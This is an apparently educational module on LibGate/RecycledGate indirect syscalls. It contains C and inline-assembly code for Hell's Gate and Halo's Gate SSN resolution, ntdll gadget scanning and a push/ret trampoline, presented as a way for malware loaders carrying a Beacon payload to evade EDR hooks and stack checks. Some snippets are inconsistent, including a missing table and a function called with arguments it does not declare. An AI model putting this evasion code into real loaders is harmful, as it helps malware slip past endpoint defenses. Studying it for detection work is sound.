Module 4: LibGate — Indirect Syscalls

RecycledGate lineage, the SYSCALL_GATE structure, Hell's Gate + Halo's Gate SSN extraction, and the push/ret trampoline for executing syscalls from ntdll's address space.

1. Why Indirect Syscalls?

Direct syscalls were the first evolution beyond calling hooked ntdll stubs. By embedding the syscall instruction (opcode 0F 05) directly in the malware's .text section, early tools like SysWhispers1 and Hell's Gate avoided EDR inline hooks entirely. But direct syscalls introduced three new detection vectors:

• Detection Vector 1 — Static Signature: The bytes 0F 05 should never appear in a normal user-mode binary's .text section. Only ntdll legitimately contains syscall instructions. Any other module with those bytes is immediately suspicious to static analysis engines.
• Detection Vector 2 — Return Address Validation: When syscall transitions to the kernel, the CPU saves the return address (RIP) into the trap frame. After the kernel completes the call, the saved return address points back to wherever syscall executed — which is the malware's code, not ntdll. Windows InstrumentationCallback and kernel ETW telemetry can check this return address and flag it if it falls outside ntdll's address range.
• Detection Vector 3 — Call Stack Analysis: A legitimate syscall call stack always includes an ntdll frame. When a direct syscall executes from attacker memory, the stack walk reveals no ntdll frame at all — a clear anomaly for any stack-walking EDR.

Indirect syscalls solve all three problems by jumping to a syscall; ret gadget inside ntdll. The actual syscall instruction executes from ntdll's address space, so the return address points into ntdll, the 0F 05 bytes live in a legitimate module, and the call stack contains an ntdll frame.

2. RecycledGate — The Origin

LibGate descends from RecycledGate, created by thefLink (github.com/thefLink/RecycledGate). RecycledGate was one of the first public implementations that combined two techniques:

• Hell's Gate (by am0nsec & smelly__vx) — Pattern-matching the syscall stub bytes to extract the SSN directly from the mov eax, imm32 instruction.
• Halo's Gate (by Sektor7 / reenz0h) — When the target stub is hooked and Hell's Gate fails, search neighboring stubs at fixed offsets to find an unhooked neighbor and compute the SSN arithmetically.

RecycledGate combined these two SSN resolution strategies with indirect syscall trampolining — instead of executing the syscall instruction in its own code, it jumps to the syscall; ret gadget inside ntdll's own stub. The name "Recycled" refers to reusing ntdll's own syscall gadgets rather than embedding new ones.

3. LibGate Architecture

LibGate is rasta-mouse's Crystal Palace port of RecycledGate. The API is declared in gate.h, and the implementation is provided as a precompiled library shipped inside libgate.x64.zip. The entire API surface consists of one structure and three functions.

The SYSCALL_GATE Structure

C (gate.h)typedef struct {
    DWORD ssn;       // System Service Number (index into SSDT)
    PVOID jmpAddr;   // Address of syscall;ret gadget inside ntdll
} SYSCALL_GATE;

This structure is the output of SSN resolution. It stores everything needed to execute an indirect syscall: the SSN to load into EAX, and the address to jump to for the actual syscall instruction.

The Three Functions

C (gate.h)// Resolve the SSN and syscall gadget address for a given Nt* function
BOOL GetSyscall     (PVOID ntdll, PVOID func, SYSCALL_GATE * gate);

// Stage the SSN and jump address in registers (r11, r10)
void PrepareSyscall (DWORD ssn, PVOID addr);

// Execute the syscall via push/ret trampoline
void DoSyscall      ();

4. GetSyscall() — The Core Algorithm

The GetSyscall() function resolves the SSN and locates the indirect syscall gadget. It follows a four-step process: pattern match the target stub, detect hooks, search neighbors if hooked, and find the syscall; ret gadget address.

Step 1 — Pattern Match (Hell's Gate)

The function first checks the target stub's leading bytes for the clean (unhooked) pattern:

Byte PatternOffset  Bytes          Instruction
------  -------------  ----------------------------
0x00    4C 8B D1       mov r10, rcx
0x03    B8 xx xx       mov eax, <SSN_LO> <SSN_HI>
0x05    00 00          (upper bytes, always 0 for valid SSNs < 0x200)

If the first four bytes match 4C 8B D1 B8, the stub is clean. The SSN is extracted from bytes 4 and 5:

C (Hell's Gate Check)// Check for clean stub signature: 4C 8B D1 B8
PBYTE stub = (PBYTE)func;

if (stub[0] == 0x4C &&    // mov r10, rcx (byte 1)
    stub[1] == 0x8B &&    // mov r10, rcx (byte 2)
    stub[2] == 0xD1 &&    // mov r10, rcx (byte 3)
    stub[3] == 0xB8 &&    // mov eax, imm32 (opcode)
    stub[6] == 0x00 &&    // upper bytes of SSN must be zero
    stub[7] == 0x00)       // (valid SSNs are < 0x200)
{
    // SSN is the 16-bit little-endian value at offset 4-5
    gate->ssn = (stub[5] << 8) | stub[4];
    // ... proceed to find syscall;ret gadget
}

Step 2 — Hook Detection

In the actual RecycledGate source, Steps 1 and 2 are interleaved inside a single scanning loop. Each iteration checks for three conditions in order: (1) whether the stub is hooked (0xE9 JMP opcode), (2) whether a 0xC3 (RET) opcode is encountered — which signals early termination of the scan since the stub boundary has been reached — and (3) whether the clean 4C 8B D1 B8 pattern matches. They are presented here as separate steps for clarity, but understand they execute as one loop in practice.

C (Hook Detection - within the scanning loop)BOOL bHooked = FALSE;

// 0xE9 = JMP rel32 (5-byte relative jump) - stub is hooked
if (stub[0] == 0xE9) {
    bHooked = TRUE;
    // Cannot extract SSN from this stub - bytes are overwritten
    // Fall through to neighbor search (Halo's Gate)
}

// 0xC3 = RET opcode - early termination of the scan
// If we hit a ret before finding the pattern, stop searching
if (stub[0] == 0xC3) {
    // Stub boundary reached; abort scan
    return FALSE;
}

Step 3 — Neighbor Search (Halo's Gate)

When the target stub is hooked, LibGate searches neighboring stubs. In ntdll, syscall stubs are laid out sequentially at 32-byte intervals, and SSNs are consecutive. If the stub at offset +2 (64 bytes later) is clean and has SSN 0x1A, then the target stub's SSN is 0x1A - 2 = 0x18.

C (Halo's Gate - Neighbor Search)if (bHooked) {
    // Single loop: check BOTH directions per iteration
    // Bounded by the number of exported functions, with boundary checks
    for (DWORD i = 1; i < pExportDir->NumberOfFunctions; i++) {

        // Search DOWN: neighbor at stub + (i * 32)
        PBYTE neighborDown = stub + (i * 32);
        if (neighborDown[0] == 0x4C &&
            neighborDown[1] == 0x8B &&
            neighborDown[2] == 0xD1 &&
            neighborDown[3] == 0xB8)
        {
            // Clean neighbor found below
            // neighbor SSN - i = our SSN (SSNs are sequential)
            gate->ssn = ((neighborDown[5] << 8) | neighborDown[4]) - i;
            break;
        }

        // Search UP: neighbor at stub - (i * 32)
        PBYTE neighborUp = stub - (i * 32);
        if (neighborUp[0] == 0x4C &&
            neighborUp[1] == 0x8B &&
            neighborUp[2] == 0xD1 &&
            neighborUp[3] == 0xB8)
        {
            // Clean neighbor found above
            // neighbor SSN + i = our SSN
            gate->ssn = ((neighborUp[5] << 8) | neighborUp[4]) + i;
            break;
        }
    }
}

Step 4 — Find the syscall;ret Gadget

Whether the SSN came from the target stub (Step 1) or a neighbor (Step 3), LibGate now needs the address of the syscall; ret instruction sequence within the resolved stub. It scans for the three-byte pattern 0F 05 C3:

C (Gadget Search)// If the stub was hooked, pStub has already been reassigned
// to the clean neighbor's address during the Halo's Gate search.
// The gadget search operates on whichever stub pStub points to.

for (DWORD offset = 0; offset < 32; offset++) {
    if (pStub[offset]     == 0x0F &&   // syscall (byte 1)
        pStub[offset + 1] == 0x05 &&   // syscall (byte 2)
        pStub[offset + 2] == 0xC3)     // ret
    {
        gate->jmpAddr = &pStub[offset]; // Address of syscall;ret in ntdll
        break;
    }
}

The jmpAddr now points to the 0F 05 C3 bytes inside ntdll's memory. When execution jumps here, the CPU will execute syscall from ntdll's address range and then ret back to the caller.

5. The Push/Ret Trampoline

Once GetSyscall() has resolved the SSN and gadget address, the caller uses PrepareSyscall() and DoSyscall() to actually execute the syscall. These two functions implement a push/ret trampoline — a technique that uses the stack to redirect execution into ntdll without a direct jmp.

PrepareSyscall — Stage the Registers

x86-64 ASM; PrepareSyscall(DWORD ssn, PVOID addr)
; Windows x64 calling convention: ecx = ssn, rdx = addr
PrepareSyscall:
    xor  r11, r11          ; Zero r11
    xor  r10, r10          ; Zero r10
    mov  r11, rcx          ; r11  = SSN (first param)
    mov  r10, rdx          ; r10  = jmpAddr (second param, ntdll gadget)
    ret                    ; Return to caller

DoSyscall — Execute via Push/Ret

x86-64 ASM; DoSyscall()
; Called after PrepareSyscall staged r11 (SSN) and r10 (jmpAddr)
; The caller has already placed syscall arguments in RCX, RDX, R8, R9
DoSyscall:
    push r10               ; Push ntdll gadget address onto the stack
    xor  rax, rax          ; Zero rax
    mov  r10, rcx          ; r10 = rcx (Windows syscall ABI: kernel reads arg1 from r10)
    mov  eax, r11d         ; eax = SSN (System Service Number)
    ret                    ; Pop ntdll gadget address into RIP → jump to syscall;ret

The critical trick is in the last two instructions: push r10 places the ntdll gadget address on top of the stack, and ret pops it into RIP. The CPU now executes from ntdll's syscall; ret sequence. After the kernel returns, the ret in ntdll's gadget pops the original return address (placed by the caller of DoSyscall) and returns control to the loader.

6. LibGate in GCC Inline Assembly

Crystal Palace builds with MinGW (GCC), not MSVC. This matters because MSVC does not support inline x64 assembly at all. MinGW does, using GCC's inline assembly syntax. LibGate uses the __attribute__((naked)) function attribute to emit pure assembly without compiler-generated prologue/epilogue code:

C (gate.c - GCC Inline ASM)__attribute__((naked)) void PrepareSyscall(DWORD ssn, PVOID addr) {
    __asm__(
        "xor %%r11, %%r11\n"
        "xor %%r10, %%r10\n"
        "mov %%rcx, %%r11\n"
        "mov %%rdx, %%r10\n"
        "ret\n"
    );
}

__attribute__((naked)) void DoSyscall() {
    __asm__(
        "push %%r10\n"
        "xor %%rax, %%rax\n"
        "mov %%rcx, %%r10\n"
        "mov %%r11d, %%eax\n"
        "ret\n"
    );
}

This GCC requirement is why Crystal-Loaders (and Crystal Palace in general) targets the MinGW toolchain. The entire build pipeline — from COFF object compilation through PIC linking — uses GCC and its associated linker, not the MSVC toolchain.

7. Technique Comparison

LibGate sits in the lineage of syscall evasion techniques. This table shows how it compares to prior art across the key dimensions: SSN resolution method, execution strategy, hook bypass capability, and where the return address points after the syscall.

The key evolution across these techniques is twofold: first, from failing on hooks (Hell's Gate) to handling hooks gracefully (Halo's Gate, SysWhispers2); second, from direct execution (return address in malware) to indirect execution (return address in ntdll). LibGate combines both advances while decoupling from any specific hash algorithm.

8. Usage Pattern in Crystal-Loaders

In the Crystal-Loaders codebase, LibGate is not called directly by the main loader code. Instead, a wrapper function ResolveSyscallEntry() bridges the DFR-resolved function pointer and LibGate's GetSyscall():

C (Crystal-Loaders)void ResolveSyscallEntry(PVOID ntdll, PVOID func, SYSCALL_API_ENTRY * entry)
{
    SYSCALL_GATE gate;
    memset(&gate, 0, sizeof(SYSCALL_GATE));

    if (GetSyscall(ntdll, func, &gate))
    {
        entry->fnAddr  = func;       // Original function address (for reference)
        entry->sysnum  = gate.ssn;   // Resolved System Service Number
        entry->jmpAddr = gate.jmpAddr; // ntdll syscall;ret gadget address
    }
}

The SYSCALL_API_ENTRY structure stores the resolved data for later use. When the loader needs to execute a syscall (for example, NtAllocateVirtualMemory to map memory for the Beacon payload), it follows this sequence:

C (Calling Pattern)// 1. Prepare - stage SSN and gadget address in r11/r10
PrepareSyscall(entry->sysnum, entry->jmpAddr);

// 2. Execute - the compiler places NtAllocateVirtualMemory's args
//    in RCX, RDX, R8, R9 per the x64 calling convention,
//    then DoSyscall() trampolines into ntdll
NTSTATUS status = DoSyscall(
    hProcess,          // RCX → ProcessHandle
    &baseAddress,      // RDX → *BaseAddress
    0,                 // R8  → ZeroBits
    &regionSize,       // R9  → *RegionSize
    MEM_COMMIT | MEM_RESERVE,  // [rsp+0x28]
    PAGE_READWRITE             // [rsp+0x30]
);